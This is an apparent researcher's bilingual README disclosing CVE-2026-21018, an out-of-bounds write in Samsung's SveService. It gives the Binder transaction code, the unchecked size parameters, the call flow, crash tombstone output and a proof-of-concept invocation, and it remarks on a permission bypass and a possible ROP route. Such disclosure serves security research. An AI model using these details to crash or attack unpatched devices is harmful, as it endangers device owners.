# SveService Buffer Overflow

[![Português](#português)](#português)
[![English](#english)](#english)

---

`Samsung SMR May 2026`

`SVE-2026-0478(CVE-2026-21018)`

`Affected versions: Android 14, 15, 16`

`Disclosure status: Privately disclosed`

`Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code.`

`The patch adds proper input validation.`

---

### Warning: this is a Proof-Of-Concept (PoC) for educational purposes only, I'm not responsible for anything you do that is not studying. You've been warned.
### This was tested on a Galaxy A17 LTE (SM-A175F)

---

## <span id="english">English</span>

### Summary

Buffer overflow vulnerability in the system service `SveService` (`com.sec.sve`) on Samsung devices running Android 16. The service runs as `system` (UID 1000) and is accessible **without any special permission** via Binder.

### Components

| Component | Role | Version |
|-----------|------|---------|
| `sveservice.apk` | Android service | API 36 |
| `libsvejni.so` | Native ARM64 library | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` |

### The Vulnerability

In `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`), the parameters `i18`, `i19`, `i20` (received from AIDL as `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) are passed directly to `memset`, `sub sp, sp, xN` (alloca), and `memcpy` **with no size validation**.

Similar functions (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) validate with `cmp w20, #0x1e; b.gt` (rejecting > 30 bytes). `SetCodecInfo` does not validate at all.

### Call Flow

```
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)
```

### Values with `-1` (0xFFFFFFFF)

| Operation | Value | Effect |
|-----------|-------|--------|
| `(i18 + 15) & ~15` | `0` | Allocates 0 bytes |
| `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | Attempts to zero 4 GB → **SIGSEGV** |
| `sxtw(i18)` for memcpy | `0xFFFFFFFFFFFFFFFF` | Sign-extend of -1 → ~18 exabytes |

### Crash Evidence (Tombstone 07)

```
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer
```

### PoC

```bash
cd poc
./build_and_run.sh
```

Expected output:
```
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
```

### Notes

- **No root required**: `ServiceManager.getService()` via `app_process` works as shell UID.
- **Permission bypass**: The `signatureOrSystem` permission is NOT enforced — the service is registered via `ServiceManager.addService()` directly, bypassing Android's permission mechanism.
- **Crash inevitable**: `memset` with `0xFFFFFFFF` always crashes. RCE would require an address leak + ROP (PAC absent on SM-A175F).

---

## <span id="português">Português</span>

### Resumo

Vulnerabilidade de buffer overflow no serviço de sistema `SveService` (`com.sec.sve`) em dispositivos Samsung com Android 16. O serviço roda como `system` (UID 1000) e é acessível **sem qualquer permissão especial** via Binder.

### Componentes

| Componente | Papel | Versão |
|------------|-------|--------|
| `sveservice.apk` | Serviço Android | API 36 |
| `libsvejni.so` | Biblioteca nativa ARM64 | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` |

### A Vulnerabilidade

Na função `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`), os parâmetros `i18`, `i19`, `i20` (recebidos da AIDL como `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) são usados diretamente como argumentos para `memset`, `sub sp, sp, xN` (alloca) e `memcpy` **sem qualquer validação de tamanho**.

Outras funções similares (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) validam com `cmp w20, #0x1e; b.gt` (rejeitam > 30 bytes). `SetCodecInfo` não valida nada.

### Fluxo da Chamada

```
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)
```

### Valores com `-1` (0xFFFFFFFF)

| Operação | Valor | Efeito |
|----------|-------|--------|
| `(i18 + 15) & ~15` | `0` | Alloca 0 bytes |
| `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | Tenta zerar 4 GB → **SIGSEGV** |
| `sxtw(i18)` para memcpy | `0xFFFFFFFFFFFFFFFF` | Sign-extend de -1 → ~18 exabytes |

### PoC

```bash
cd poc
./build_and_run.sh
```

Saída esperada:
```
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
```

### Observações

- **Sem root**: `ServiceManager.getService()` via `app_process` funciona com UID shell.
- **Permissão**: A permissão `signatureOrSystem` NÃO é aplicada — o serviço é registrado via `ServiceManager.addService()` diretamente, bypassando o permission check.
- **Crash inevitável**: `memset` com `0xFFFFFFFF` sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).

